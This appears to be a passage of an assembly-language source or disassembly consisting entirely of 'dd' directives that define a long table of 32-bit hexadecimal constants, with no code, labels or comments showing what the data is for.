		dd 0F4981024h, 75A98E4Eh, 2EE6A1D6h, 0E9F0A7ACh, 4EBD123Bh
		dd 4B051D1Eh, 0C179629h, 0C6A5B26Ch, 3E1650FCh,	8AFB5A7Ch
		dd 0B3CE1AE8h, 0FF807D75h, 234A3525h, 22E95BC2h, 0A735AA43h
		dd 45954127h, 0B65933F8h, 89409FDAh, 0D8749387h, 0F396BB40h
		dd 2CD64C01h, 0F6FE9F25h, 70DA8889h, 0BFEAEA1Fh, 0D5AD87D3h
		dd 935FE336h, 0E32A09A5h, 689D615Dh, 1B370CF8h,	0E1E257Ah
		dd 6840F612h, 0EC2D4EA4h, 162A743Fh, 6ED1B172h,	0FECF24B2h
		dd 931A1131h, 0FB1A845Fh, 0B76A092Dh, 99855F19h, 0A4E1E2EFh
		dd 924AC1BEh, 0FD0004E2h
		dd 6F7FB1F6h, 0C947DF77h, 1C5F2469h, 21E69D70h,	8853B0C0h
		dd 0E85051D7h, 1DE918FCh, 0A9B6BCF0h, 96C6801Ch, 10CAF514h
		dd 0BA029942h, 5867509Fh, 0B7DC7A5Fh, 0D9F77EE0h, 680253FAh
		dd 243D47A5h, 56E3E05Bh, 4E719744h, 0C910286Ah,	0E6895827h
		dd 5F0539FDh, 9D7F237Ch, 0FB8BF147h, 2144CC27h,	6804BB53h
		dd 0CAB37028h, 49073200h, 4605E96Dh, 0B8DDA1AAh, 0BD0EB677h
		dd 0E912BC36h, 2CAF7C4Ch, 5513DBAFh, 0CB143813h, 28A10ECBh
		dd 0C2EAD283h, 74708EE3h, 66840B7h, 0CF818092h,	98419109h
		dd 0C88F806Ah, 1907F30Dh, 301FA3E9h, 0C7E03B5Fh, 0E43309F9h
		dd 3ED1313Fh, 8CE4DC6Bh, 0EB9F579Bh, 0F40DCC0Fh, 6551663Bh
		dd 0F8A78C4Dh, 86F36990h, 0AD18FB0Ah, 852715DDh, 0EFB30BE9h
		dd 0EEDD4DDh, 0F6E7042Ah, 0B243FBD6h, 10F388FFh, 50FD946Eh
		dd 0DA40861Fh, 1D182468h, 4CDC8809h, 0BE1C7D2Dh, 28C5454Fh
		dd 25E9FDE0h, 0E02BC7A0h, 0D0ACB502h, 9F612B7Eh, 1D84C37h
		dd 0A09A9D74h, 595E0C01h, 0D2B76057h, 3A286206h, 1EC3F5E9h
		dd 0EECA68ADh, 0D8DC0BAh, 4F48515Bh, 22022F14h,	0FAC1089Ch
		dd 519C2F3Ch, 79B168A2h, 8CF31255h, 0BCD9FA8h, 75DD30ADh
		dd 34D6A77h, 0F32EC8Ah,	23054822h, 0EF6E50E5h, 59215800h
		dd 92D1D0Ch, 0B18308CEh, 5E492D7Eh, 19970F59h, 38F6C43h
		dd 3D082ACFh, 9FA7DA18h, 6B703368h, 0E19BF49Fh,	7AB7A2E9h
		dd 37C56FA9h, 0E9184206h, 18D594CCh, 0C9D6AB2Ch, 0A8F7C237h
		dd 3A178EC3h, 0B2E063F8h, 0D30D28A7h, 3AFD30E9h, 9321ED7Eh
		dd 0FCB1ACE8h, 0E5C0012Bh, 4DDF6ECh, 88C7ED80h,	687A81EEh
		dd 0A7EF10C8h, 6569075Ah, 49FBE56h, 0EBF881A2h,	0CA639D28h
		dd 0DEADDDCBh, 0A2F66B2Ch, 4ECD318Ch, 7C6C9AB0h, 9259F0EDh
		dd 86BA0575h, 0EF0FE532h, 30964E2Ch, 0E9786615h, 22972160h
		dd 57CBA4A4h, 5FE986F9h, 3689C21h, 0ED284807h, 67C30216h
		dd 71C9A3D0h, 51E22447h, 0F13918BEh, 5F1C8DEBh,	0F8E642E3h
		dd 6167D65Ah, 83E31CE9h, 4780B88Ah, 9C05E81Ah, 332C0011h
		dd 972FB225h, 0C162D1Ch, 0D3800609h, 502E56A2h,	16D2F04Eh
		dd 0FF2DDB18h, 68086750h, 5817141Ch, 4E03BEF4h,	8363A860h
		dd 90671C31h, 1EBCED81h, 83A4650Eh, 95E0E9EEh, 8DBB9617h
		dd 4A0BF216h, 456C2A8h,	0F2EB058Dh, 17FF92F1h, 1C23BF0Eh
		dd 0BA78953h, 0D9CA83ECh, 0E455442Fh, 0E0A9A93Fh, 52FDE0C1h
		dd 0FCCA8109h, 0C0828E2Fh, 3C2272E2h, 0E5CAC127h, 7E117735h
		dd 0F73A20BCh, 0B4E90761h, 0EB312B50h, 10BE092Ah, 0F4002F48h
		dd 0D0C4FE5Ah, 8E4C0ECh, 30E0ED2h, 8BFA17AEh, 758A12B3h
		dd 0EE24E3A7h, 985A39D5h, 302D371h, 3DE965B8h, 7D7B6AD8h
		dd 0ECC64241h, 105AA744h, 2C091AF8h, 80572969h,	6F3CFFB2h
		dd 80ABC39h, 5412EBE6h,	73499B0Ch, 6FD4915Bh, 209792FEh
		dd 0B66956D0h, 4BF1474Ah, 669E538h, 80F23504h, 0E961D7CCh
		dd 5A7A402Fh, 20DB78EFh, 0D89054DEh, 97B53858h,	534938EEh
		dd 2637E913h, 50CF3FA9h, 0AB987985h, 9EEFDFE4h,	15C14ED3h
		dd 6F2E4002h, 0EF74FB4h, 5B29E2FCh, 0BC5FF845h,	44731021h
		dd 6824624Eh, 74490356h, 0CCD46944h, 0AA3B5CA6h, 499BD218h
		dd 2EC28007h, 3A120B09h, 8D37E121h, 85686689h, 0D7914AD7h
		dd 0E90B91DBh, 52A1A0F1h, 278087B2h, 77DEF6F2h,	0FA203004h
		dd 9DE91619h, 22C3706h,	27ED5B38h, 0BA5594F5h, 5DC9ACA3h
		dd 8423BCD7h, 7D18C01Ah, 13C5A34h, 40B1E95Ch, 0D9692908h
		dd 6E3002FFh, 5F1BC88Ah, 4669B1Fh, 0AF421E45h, 1A272A01h
		dd 0AC6B21CAh, 905E0723h, 0CBDE1249h, 8845D9ADh, 732FD69Eh
		dd 0E86D16F0h, 0FD714F1Bh, 3A623BE6h, 5D43CE9Eh, 0F0CBBE13h
		dd 0E46AF413h, 0DF5B029Bh, 0BB5A2CABh, 1655DE04h, 36EA5328h
		dd 516A0D9Dh, 0E9044D4Fh, 52093D62h, 0F0583556h, 6E293420h
		dd 7AA2FE6Eh, 0AD74A78h, 0A71ABFD9h, 14D8A8C1h,	1A6B9CECh
		dd 81D08775h, 751A4C30h, 0FEEB9F7Ah, 0FA5E459Ah, 54BAD5EBh
		dd 0BCC69C40h, 34957CA1h, 0D972884Eh, 15F2CC5Ah, 0B3FA1C6h
		dd 0FC8CAC2Fh, 8CD4A5Fh, 6804CA41h, 20D815CDh, 7D94912h
		dd 0D2E7915h, 5A76F95Fh, 0F78AEFFDh, 1C76A69Dh,	19772591h
		dd 0B67A53ADh, 54E90C2Dh, 0EEF1E1C9h, 35216F0Eh, 0B57EFB6h
		dd 0DC10F3E6h, 34404A8Ch, 39670FBBh, 223C9852h,	0EE07291Dh
		dd 0FBD7AEB4h, 92DC9Bh,	6C0D4350h, 551F801h, 40D06007h
		dd 5F7A5503h, 14AAE9h, 1C49BBA9h, 0BF2D48A1h, 41056312h
		dd 74030F8h, 625B55Bh, 2ADDD05Ch, 58B7E61Dh, 68913A30h
		dd 0DF7976A7h, 2014DF25h, 891A882Ch, 0E807BA50h, 0E0396059h
		dd 7FAB30F1h, 5083B901h, 91E9E2DCh, 0BF93177Eh,	3B4C888Fh
		dd 7A711727h, 12654E8Eh, 5F7DCBAEh, 94CAA0B4h, 0EB551230h
		dd 0EB5897CFh, 6F7CEA4Eh, 0EFBB4E2Eh, 0E7C51F21h, 756BE00h
		dd 48CB5958h, 0C3022D87h, 3E74E037h, 0F4585EF6h, 0CBE931FAh
		dd 682F08AEh, 89DFD119h, 0AF76B3E9h, 16F40550h,	84068435h
		dd 5B07008Ah, 25E9C331h, 0BB787097h, 0FCF6A799h, 61A7D2Fh
		dd 3AC5C730h, 5E620E25h, 0A8389302h, 0E18F4A39h, 6FF7A14Ah
		dd 0E909812Ah, 69D12686h, 0FF07A104h, 1C0ACDC1h, 1886B32Fh
		dd 0C2294FC9h, 5650433h, 0AACA290Fh, 1FA94A01h,	800408D3h
		dd 3338C9CDh, 78951EFEh, 722104EFh, 0B069E902h,	6FF4BFCAh
		dd 74615D25h, 1C25247Ch, 0AA4AF846h, 0B84A41CEh, 255B1725h
		dd 82F83918h, 30220A18h, 1E8AE5C1h, 4038AC2Ah, 4EA44FF4h
		dd 86F58103h, 0B049377Bh, 4FB4AEDh, 0E921B5CFh,	7D18885Dh
		dd 0EC2FE5Ah, 0ADA27616h, 4BE219DCh, 9843C66Ah,	0D6952FB8h
		dd 0FC3BDAA4h, 0A2F04E09h, 0E1480B31h, 69804265h, 2BEF4341h
		dd 0A7EAD124h, 0B4D6B0Fh, 6740AE7Fh, 5FD4C320h,	0EC7BDFB2h
		dd 0D47D1894h, 2C420C6Eh, 9238983Dh, 34575BEEh,	2D2FB7BDh
		dd 7690C4D2h, 5787761Eh, 1E03F280h, 9F04E934h, 70BA0401h
		dd 2E7BD912h, 2F8087C4h, 64EF6005h, 8D4C62DCh, 0B9DB2CADh
		dd 0E85F0F66h, 20FCD400h, 8AE9172Fh, 591670D9h,	68005650h
		dd 1CB02651h, 9CE815Eh,	778A4EF4h, 0C6D10402h, 4AA6BF00h
		dd 0EFD4A0ACh, 0E8561684h, 4820BF3Fh, 906A3A9Ah, 67602056h
		dd 0F61CC063h, 0B81426D7h, 5BF15250h, 678C6841h, 201C996Fh
		dd 4109BBE3h, 52BC579h,	6413DABh, 0FD61765h, 4152E67Fh
		dd 34E9E40Bh, 0B8018694h, 120E6818h, 169E8220h,	5FF4AF7Bh
		dd 749C0A05h, 3CE9843Ch, 2391A4FEh, 25DC0705h, 0D3C2EA29h
		dd 0E8280237h, 685A3641h, 485C00BBh, 0A125D8F7h, 2497E3Bh
		dd 6B2EF135h, 25EC5019h, 0F7AC820h, 886CF180h, 0EF2C5903h
		dd 7F438BE9h, 0FA87E74Bh, 55EB0E06h, 29472A66h,	1085D2F3h
		dd 0E866A27Fh, 7D72425Dh, 80F818CAh, 83087EB7h,	0F61D2459h
		dd 0F193A4DFh, 88B6FC52h, 0E8B91EC0h, 0FE4D2950h, 0F7F65907h
		dd 70093B02h, 69755A28h, 9ADEF812h, 488A008Fh, 0E2EEE58h
		dd 53CD79B8h, 2DB9E0D2h, 26FD60Eh, 32EAB70Ah, 18574C97h
		dd 82318B20h, 66D09155h, 5B7072D1h, 5A6DC5B8h, 0C5F0AF29h
		dd 0B455B24Ch, 0E120CBB5h, 66FC0C78h, 0A8E9430Bh, 391E209Ch
		dd 41F456Bh, 54E5B2BBh,	7C0C804Fh, 770BC427h, 0C61C0DE9h
		dd 7A85E68h, 2A4F6600h,	688F3AD4h, 0F4372F8Eh, 904004CFh
		dd 2E307C0h, 6051B450h
		dd 0EC8007E4h, 3F30823Eh, 0B2EBBC58h, 781ACC66h, 1D629D37h
		dd 0BF73AE7Dh, 0D6A87B52h, 0C9C2A25Ah, 352E8252h, 3F8CF401h
		dd 0D29DC820h, 0C0B607FCh, 3901C680h, 0D3DDAF22h, 6B0F40C4h
		dd 0E9992183h, 0A4D627EFh, 5D275EA2h, 4A0466C3h, 654D35B9h
		dd 0CF9D00AFh, 13C8F57h, 842CD68h, 0EA895900h, 9AD2F75Dh
		dd 0E211E9Eh, 55E94977h, 56B4E958h, 0EA0F8052h,	9568E61Fh
		dd 74475260h, 0B0D7BF80h, 0C5F47C0Bh, 0AECAD5B6h, 97401A2Bh
		dd 830294D9h, 35CE2792h, 2E7D3AD9h, 0EC2AE18Dh,	9468A022h
		dd 0A7F8A163h, 0E989C404h, 64E81098h, 75ACBB07h, 13447F61h
		dd 0D3EDBD3Fh, 31A53A21h, 0CA483973h, 4E8AEC60h, 7CB020EDh
		dd 4670749h, 109D7CCCh,	92AB5E81h, 79C1BD82h, 24D0CF83h
		dd 0A1A289ECh, 0E8A5387Dh, 0E3AB8386h, 5F890B0Bh, 0A2965F20h
		dd 0A9C2CA27h, 0CB2BD793h, 4BA9AD09h, 4342CDEh,	0BC3384FAh
		dd 8BFFA454h, 4CAB4AFEh, 2981A348h, 324DF48h, 209B0F9Dh
		dd 8556005Bh, 0E91688D9h, 9EBEC9A7h, 0B8D2A4Ch,	2128E1FBh
		dd 4000278Bh, 81D1714h,	9652E1A1h, 3AB8010Dh, 0E03DEE4Bh
		dd 6C5942h, 88319B05h, 272D6F02h, 896AD859h, 0A40380BFh
		dd 5FFDE968h, 59DAA4A8h, 10362A06h, 580FE89h, 1D509DE6h
		dd 8780EF33h, 4817FCEEh, 8168AB0h, 288EDC9Ch, 608086A1h
		dd 8A5F93BFh, 0B252F320h, 0D2F607D0h, 5ED58851h, 57E2F5Dh
		dd 9CF8B939h, 70242BC2h, 0F4862F0Bh, 13D86832h,	2C643239h
		dd 25818D05h, 0A8CB753h, 0DB645BF8h, 32F0C05Ah,	9E964C25h
		dd 0D73346D8h, 38BF2AE1h, 94BF1CC3h, 0DAE91B77h, 0C9B035CAh
		dd 6D4E6411h, 51C2B4h, 9A6619B9h, 8D16865h, 17BCF699h
		dd 0F2CC1D8Ah, 0FCF41FEBh, 8634A40h, 259AE0Dh, 50A7D84h
		dd 65A43645h, 877EC70Ch, 637109C6h, 88FE0587h, 51D8EA5Bh
		dd 65C0983h, 0A57A8FD7h, 0C7E4C077h, 0F7C2FD57h, 4FA8CF7Bh
		dd 0FB41250Ch, 1668DC1Fh, 0E50BEE74h, 48DCD0F0h, 6384605Ah
		dd 754B204h, 0FB56D113h, 0C58301C3h, 1F61AB34h,	8A7F9103h
		dd 1E0E1B72h, 4B120B04h, 7725D171h, 0B839AD82h,	0CF828A46h
		dd 0F9AD2553h, 0AC096918h, 59958A78h, 90E9E1C8h, 5B228C9Bh
		dd 0CF0ABA51h, 0BCC5F87Fh, 0F7809041h, 8C90CF19h, 0FC80AC4Ah
		dd 4C309EB4h, 1C897FF4h, 0B0027C29h, 5C7CB911h,	6FC1BFE0h
		dd 0C374481Ch, 0BB5B644Dh, 8494C821h, 0ECD27A2Dh, 81332093h
		dd 6801E582h, 3D71CA09h, 0C3BE6603h, 6181A42Eh,	0D5E62D0Bh
		dd 0A5A82A8Eh, 0E432FF0Eh, 66F4B643h, 0FD954A05h, 6B3D8550h
		dd 979EA0A9h, 5F02F88Ch, 0C58B76B2h, 8A69105Dh,	0C1BBC09Eh
		dd 77DF3488h, 7EF9293Ch, 692408A3h, 0A73D075Fh,	11C579Bh
		dd 58B85D09h, 0D57B89A4h, 23A2BAAh, 72932CD3h, 65217E60h
		dd 45E4E8B0h, 5E84AD9Dh, 2A993A89h, 720A4D4h, 69F63FF5h
		dd 61C5717h, 3DA5E5E9h,	34EDDCD6h, 0FE047748h, 0C461FC0Eh
		dd 5B00EC30h, 54F179EEh, 0DBB2BF45h, 0B7D14D2Ah, 0C604395Bh
		dd 9DAF5658h, 0AC48286Bh, 99C829E9h, 0B2DBCD9h,	5077D942h
		dd 0DBF730F4h, 417BF038h, 0E6F91C76h, 89B1EA43h, 2CBD3ADDh
		dd 590FE9B0h, 3B27EE1h,	55538Bh, 3698278Ch, 19C20681h
		dd 0C1EC570h, 35D1A60Bh, 5D01E3FCh, 5300A368h, 0A1223EBBh
		dd 0E24BE9A8h, 0E3D737FCh, 0F70D6228h, 88475ED5h, 500ACA32h
		dd 0C62DCE68h, 32D55DB0h, 4B4AF74Eh, 0E88936A6h, 6059E257h
		dd 3C02304h, 0F28006E2h, 0B602309Bh, 51E9C3FEh,	4FB15C93h
		dd 0FA37E404h, 0D45C9622h, 0EACC69EBh, 62AF5235h, 0A80C4F81h
		dd 5F12D224h, 13D9A733h, 61AA6A48h, 89A0AA7Fh, 7B18E631h
		dd 89CE21A9h, 5620BD03h, 0AF9906F5h, 9727FA7Bh,	60B66A6Ch
		dd 0B559EB9Bh, 622A5722h, 28C3BDC9h, 0E88A2C9Eh, 0A44F3FA9h
		dd 82BC2970h, 0B4C2FCE4h, 83E4A7FFh, 38A31E9h, 1449EB17h
		dd 223A5D7Eh, 0CAB13CAEh, 8007BB5h, 95668D68h, 600519DBh
		dd 0D0FC2D2Eh, 75BA006h, 6DE00C0Eh, 4721B71Fh, 595FE740h
		dd 27E969ADh, 0B1E682B3h, 3F84B74Ah, 0B473F2EBh, 697FA6BBh
		dd 0F6DB570Fh, 16BE5640h, 6298147Dh, 7C4CA929h,	9FFA5E2Ah
		dd 0E08970F3h, 5F4F64C4h, 8BFABD54h, 5CFA6250h,	0C330C2D9h
		dd 8C8597Fh, 5D16FB81h,	4CFC662Dh, 0B27AE18Dh, 28FBD6C7h
		dd 0BA53A31Ah, 5B0C4CF8h, 0F3405552h, 9D2BF1AEh, 58C22D31h
		dd 78FFEE62h, 0CD402529h, 0AA16C551h, 0F801CA35h, 2B7E62DAh
		dd 9D574630h, 0D897F00Dh, 0D195AA85h, 0EEDE6268h, 0B18227F6h
		dd 55199D17h, 5E5EB8C4h, 0F95FA3B9h, 0D8592772h, 7E4C0B5Ah
		dd 7E8027ADh, 0B48B47Bh, 0A70564F9h, 7095320Fh,	7F3EA5Bh
		dd 0CE41C028h, 0C231FCF2h, 216D5AD5h, 982DE2Dh,	25E820C9h
		dd 0ABBEB492h, 2787FE52h, 0CA295E7h, 6329E92Fh,	0E9C2FC80h
		dd 8873D7D0h, 0F828BD3Dh, 68155A71h, 1795050Dh,	0E335B8F7h
		dd 87D095EEh, 528D76E3h, 7EFC11Eh, 66AA2B09h, 18AA8BBh
		dd 0EF5BB53Bh, 7CA82012h, 0FFC316A3h, 0E265778Dh, 985F3678h
		dd 0BAB3A1B0h, 0D8D1959Eh, 566FE9E2h, 8ECC2D8Eh, 74334990h
		dd 0BBE54F54h, 4F228D9Ch, 59BDC94Dh, 95B276F8h,	0FF804164h
		dd 0C1200880h, 0F7840221h, 0F001DE3Eh, 95BAEFCh, 0A61FE630h
		dd 9A0E72F8h, 477A9362h, 8159D0F7h, 6C42E309h, 4BDE09C4h
		dd 156B415Bh, 8CC059A0h, 9B875E5Ah, 0EFC64E38h,	9F535B3Ch
		dd 83540162h, 1AE924ECh, 0C52071Dh, 6885EADEh, 728C69C1h
		dd 9CCF251h, 5921F05Ch,	0E38F060h, 0CD89F318h, 1622F512h
		dd 81179129h, 28D0B6A1h, 9892D78Eh, 88F5C7C7h, 0B8011E9Ch
		dd 9690CFCh, 0D6C7AEE8h, 0DB05FAD5h, 0DB349545h, 27102AE9h
		dd 3E99D6B2h, 1BA2E33Fh, 0B1796412h, 6FF5477Bh,	1C65C1D8h
		dd 53291B60h, 7C558ACEh, 30F8F148h, 49432CD1h, 680B0979h
		dd 0E597560h, 0C0ECDAA5h, 300F9E5Eh, 8BF2910h, 5B24086Bh
		dd 0D59AFDAFh, 9FCEE65Fh, 0B6021E82h, 69742577h, 3B57325Fh
		dd 17C2F6B4h, 0BBE84351h, 0E6D23E0Bh, 2A980B70h, 7A096181h
		dd 0ADB3DA60h, 0A2DC2828h, 8EA1394Eh, 2A63392Fh, 0CAEC71FFh
		dd 0D230ADD4h, 504848BCh, 0DAE63500h, 0C729EBCEh, 801554BFh
		dd 6D26F681h, 0CEEC4C9Dh, 0FF0F1E09h, 71E8F71Bh, 0BC25685Bh
		dd 2FB01B53h, 45F080Ch,	44B0AFB3h, 0C9F3B105h, 504A3E4h
		dd 26846951h, 184B84EAh, 0FDE8E607h, 0EEDE2C80h, 0FA05B5C7h
		dd 0EF65E45Eh, 0D137650Bh, 2240570Ah, 0BA6BD7E9h, 640301C5h
		dd 0A26F1C80h, 0D3AA0E3Ch, 752129F1h, 0B951DA80h, 0C3BF2CBh
		dd 595D0B2Bh, 0DA137F01h, 29F455AAh, 0D7F79707h, 0D5D41039h
		dd 0E788809Dh, 9C5D18EEh, 0DE3A9880h, 8249BEA8h, 0C352F20Ch
		dd 12BF88E1h, 0B4FB773Ch, 0EC1A16EAh, 3E30FF46h, 5A81DC41h
		dd 0E2C0521h, 0BC7D552Dh, 4554B5BEh, 2025CC52h,	2F959E83h
		dd 3BE3247Ah, 0D5476AFh, 7D596AFCh, 2CB70E35h, 351D1261h
		dd 969CC82Ch, 5ACC5D25h, 9734EB4Bh, 0DD22A0EFh,	1794B749h
		dd 0B43031CAh, 9020478Fh, 87B9408Ch, 0E78ACF4Bh, 0B145BC4Eh
		dd 136F86E9h, 301C29B6h, 0B46FC40Dh, 0A48EB80Dh, 5AC3E6Ah
		dd 13B84994h, 0ED1F9B17h, 0A205846Ch, 11F56895h, 5251D830h
		dd 0FE62146Dh, 9096149h, 3D4F76F5h, 29A03D18h, 0C9B0B60Fh
		dd 5DBD681Eh, 0C2424A2Ch, 15E017Ch, 0AC993EF9h,	987A5A21h
		dd 1E33E91Eh, 9D96786h
		dd 9AC01321h, 0B05BADF0h, 0B3BA3784h, 43680B02h, 7853076h
		dd 53C7941Ah, 0E6B20C51h, 52C07B42h, 989F0A90h,	85DD0E9h
		dd 6C290713h, 8A72E906h, 0C680BD91h, 0A6CEB23Fh, 3F9E30FAh
		dd 5526422Dh, 9E922DCh,	0D8B4D552h, 3758BBB6h, 602C305Bh
		dd 0DC5E990Ch, 0C100645Eh, 0B81140BBh, 18059F5Dh, 0A4198243h
		dd 7D3C4251h, 0E9AC924Bh, 0A1D018DCh, 55485AD7h, 49B20E8h
		dd 0BA60F0BBh, 0B024E847h, 8B8CAF4h, 0A768E918h, 0BF5B12h
		dd 6CB90DF7h, 4EC6750Eh, 5ABB9914h, 7BA2EDC6h, 98B0624h
		dd 6EDA318Eh, 7580B35Bh, 0BD0AEB68h, 1ACC3EC6h,	65C106D8h
		dd 99CD0858h, 6806648Bh, 6BE16D71h, 94E2F9EDh, 7727697Ch
		dd 0EB5F919Eh, 7E14C8C1h, 25E95920h, 0A520ACEDh, 179370D8h
		dd 2E2811Fh, 571BE5C3h,	0DA66A3BFh, 0D9705712h,	311EA4B7h
		dd 980737A8h, 0D2B0D4F1h, 0BF00BDC9h, 0BC590A83h, 0DCA30F45h
		dd 18F21B29h, 2550C15Ch, 0DC16D7ADh, 3EC672DFh,	3B9628D1h
		dd 52A6018h, 0E7811DE3h, 73720EC2h, 7CBCFC7h, 0D818FC19h
		dd 53B64419h, 32C0C474h, 23899703h, 131C167Dh, 207AF5E9h
		dd 762A93E5h, 15F14D4Ch, 69E1AD4Eh, 0D9572Dh, 9B3A46Ah
		dd 0C7F2C708h, 0F296E901h, 13062934h, 0A8397F23h, 618925F2h
		dd 0D43F270Ch, 41BAAC52h, 6538AC88h, 0EAACE229h, 0B449B51Eh
		dd 8A6CFF30h, 0BC4C3616h, 60C3690Bh, 5DEE6872h,	85844754h
		dd 537AF2Ah, 0A6B8B394h, 5531B90Fh, 0B44127E7h,	29EACFAh
		dd 25686ABFh, 9E605754h, 0F3955F08h, 2711A0C8h,	0CE8196E9h
		dd 0DA4E7FBDh, 9F60AE60h, 135D5880h, 0B3415F68h, 0A111358h
		dd 2B7839FEh, 6E376DE4h, 26CB1123h, 0EE952078h,	4CA08181h
		dd 0C3C14E6Eh, 22E556A1h, 0BBAC4258h, 2A67B900h, 0C13A0FA8h
		dd 0C6AC07E1h, 0B038507Dh, 5DC32D8Ch, 0CF0110A0h, 4209BE56h
		dd 75254954h, 52FD7F80h, 0F4900CC0h, 2D927349h,	2CDD395Ch
		dd 2479D011h, 0FE17CA25h, 0C40B9B28h, 8BE906DAh, 0FEC1D33Dh
		dd 0D1562AC2h, 5EF78B47h, 274D5952h, 0ECBC5F3Ah, 1ED881A4h
		dd 0EDC0005Eh, 34DA9D05h, 0D7823AEDh, 2FCDF006h, 326CD629h
		dd 9B2F6FCh, 95EBD89Dh,	0F46CFB10h, 9851D12h, 6824E75Fh
		dd 0C631C400h, 0B72FC2E9h, 7E5EE49Ah, 0C77593h,	0CBFF2C84h
		dd 7AE91248h, 0EEF966E1h, 6EEC55FAh, 1292D0BFh,	0CDDC88BCh
		dd 0F5017E78h, 8EB15166h, 0CC0B843Bh, 544E5577h, 20E974CCh
		dd 5F5913C0h, 0D4705FAh, 8084090Ah, 0A6C3C920h,	0E533B13h
		dd 451DEB0Eh, 76C037EBh, 27C7DE15h, 0CAD11FC1h,	0E67B410Fh
		dd 8F0F7650h, 6B8BDD2Ah, 0E27929DAh, 0BEC58011h, 330B96Ah
		dd 759AF281h, 0C042765h, 17DC1F20h, 4BA7E0EBh, 92EBD552h
		dd 29C8CE02h, 7B7FC944h, 4A60EDD9h, 332809CDh, 0A2DD75B1h
		dd 32A1AFCh, 0A0BA495Dh, 5DF42AEAh, 2743F76Bh, 0E10EC5C2h
		dd 0C447FD0h, 19681B71h, 3DF5BD05h, 275DC107h, 0EB93818Ah
		dd 7DFE57B8h, 0D55B1479h, 633DDF04h, 257937DAh,	92EBC32Dh
		dd 12C8EBDAh, 0D3EED1F6h, 3C40265Eh, 63E38106h,	1A943F40h
		dd 254F9476h, 173C4755h, 82F5655Ch, 8A7E35CEh, 4507B716h
		dd 66A23CB2h, 0EECEE49Dh, 13529678h, 0F829C55Ch, 17ED5CC0h
		dd 5DACD0B6h, 0F431FE5Fh, 5F3877EEh, 99D6508Bh,	78278ECAh
		dd 9F8373D7h, 428CC753h, 5A899F4Eh, 5A2E80D7h, 0F1BFDF01h
		dd 2AF1A4DEh, 0BE0500EEh, 2922409Ch, 0F9E358C5h, 2592209h
		dd 25784CE7h, 0AB60571Ah, 0A805298Ch, 352EE96Fh, 2C24F18Ah
		dd 0EAD01320h, 888D8601h, 0BC5158E1h, 0B769CE74h, 3D199A81h
		dd 3CE36147h, 38680BC5h, 2780B05Fh, 7BC23013h, 3402DE7Ch
		dd 0DF591B75h, 4359093Dh, 952F753Eh, 4DDDB8EBh,	1EFD2FDCh
		dd 30C50508h, 0C563EAFEh, 0FBB5BB4Ch, 16935060h, 0A9196110h
		dd 0F1B8402Bh, 0A7DAAD3Bh, 46A8A07h, 1EEC6512h,	0AE1D13C4h
		dd 0F92487CEh, 3BDDA50Fh, 58A1F22Ch, 0E4B701E8h, 0CF80DFF6h
		dd 1BEFCC0Ah, 0B0284Fh,	7185B7C7h, 8B14A958h, 252B54E2h
		dd 3F30EF39h, 0EA2FF5BCh, 0B88DB845h, 75303876h, 27B95BD6h
		dd 0ABE335F4h, 295F7EA7h, 693007Bh, 90902E56h, 0EE97E904h
		dd 0F8F4E346h, 676B17EDh, 8809FBE7h, 0F945DFF1h, 0B769E9C1h
		dd 58842FBFh, 0B87D9868h, 153CC03Eh, 5816AA1h, 370871C2h
		dd 0ABCEC4B1h, 0BC7802Ch, 0B78D8E65h, 1D98504h,	750C6852h
		dd 0AE1C326Ah, 0B6816FD8h, 768D7CD0h, 686181B1h, 0A2527A8Dh
		dd 0E4D0573Ah, 92592BA2h, 0BA264B53h, 0E8008C74h, 65317882h
		dd 7684BE9h, 60535276h,	51973F55h, 5A5D8BC1h, 0C853643h
		dd 49AEC2F5h, 62D945BCh, 974F680Ah, 1B6E99BEh, 9D70E865h
		dd 0F8280959h, 790D22Ch, 85CB9DADh, 200F02F5h, 8427DC0h
		dd 0F00C895Fh, 4E51EEEFh, 6AE38138h, 0ACBE0090h, 7849142Fh
		dd 28169A56h, 916DABBDh, 94A63F5Ch, 1C680C15h, 81005A15h
		dd 22CA3EAh, 0A2FA0104h, 0FF0802EFh, 829A8E32h,	0FD6FD969h
		dd 0C92C25E4h, 1894B98h, 6012F6FBh, 7C77BF57h, 3E31D62Eh
		dd 0A089C51Bh, 484E7065h, 7704526Eh, 0EA030E6Bh, 0AE6C812Dh
		dd 0FB21AFF5h, 652A303Dh, 42D78297h, 5B5C8358h,	799804B2h
		dd 0D1EE19F8h, 3C7BB18Dh, 50EF12BCh, 44CBA31Eh,	0C1BB0030h
		dd 2D6ADAC8h, 0F1D6891Ah, 0E74B28E5h, 0AF1A5C29h, 6D9C7D94h
		dd 896FB93Ch, 765F50D2h, 2136182Ah, 0C72680E7h,	200F2ECFh
		dd 0B0B6E058h, 0BF8B5AE9h, 7AC418E8h, 401AE22Dh, 3B4C6502h
		dd 0E60257ABh, 46C924EDh, 40C85943h, 89182339h,	83C65EF5h
		dd 6E372D0Fh, 0D7802AF8h, 9E25021Bh, 1E177C39h,	6F42A5E9h
		dd 92025B77h, 52C743B7h, 0C295C288h, 83FF5859h,	0F24B567h
		dd 0F53004A8h, 81ED8083h, 0C23DC599h, 853A14FEh, 2F4FE953h
		dd 7E7D42FBh, 7EEB3EC0h, 32E2CB9Ah, 0C9AC0B08h,	972C545Ah
		dd 76818CC2h, 5A31DB6Fh, 2745C680h, 0E9D82918h,	9B1F2A4Bh
		dd 745EF28Bh, 0ACDE4951h, 72CCB0E9h, 6AAB2E1h, 497544F7h
		dd 0BA080C69h, 475E55h,	3C393463h, 5F5BFA21h, 7F422782h
		dd 879E7830h, 6813FCBAh, 8837117Dh, 7DC38892h, 4D8CF0C5h
		dd 0B0C37DE0h, 83A2D0Fh, 8A02376h, 0B14E10A0h, 0CE64F582h
		dd 756ED00Ah, 0C302FB22h, 55196721h, 531306C8h,	2CE1E58h
		dd 0AC460FEFh, 75CA7D1Ch, 0C6E90801h, 6BE86AF6h, 60E95FE0h
		dd 805581BFh, 5BE114C2h, 1D044E6h, 6D6C6895h, 30D5F74Dh
		dd 7518E74Eh, 3A7409ABh, 512C1D42h, 882A029h, 0C266F041h
		dd 51F6DC55h, 98B22A56h, 481FF84Ah, 48A7050Fh, 0C1AF3F7Ah
		dd 5541E98h, 0C402E2EEh, 0DC94FFE9h, 1A20990Fh,	0DFC8C2DFh
		dd 6B2460E1h, 0EA97F8B2h, 37AFFAD4h, 0F02BB468h, 0FA2968DCh
		dd 5794E674h, 0A9083585h, 5C102BB8h, 0D02900DFh, 2B74355Ah
		dd 16E3B760h, 248CA3F9h, 1713E57Ah, 0A40D311Eh,	0F1200DE1h
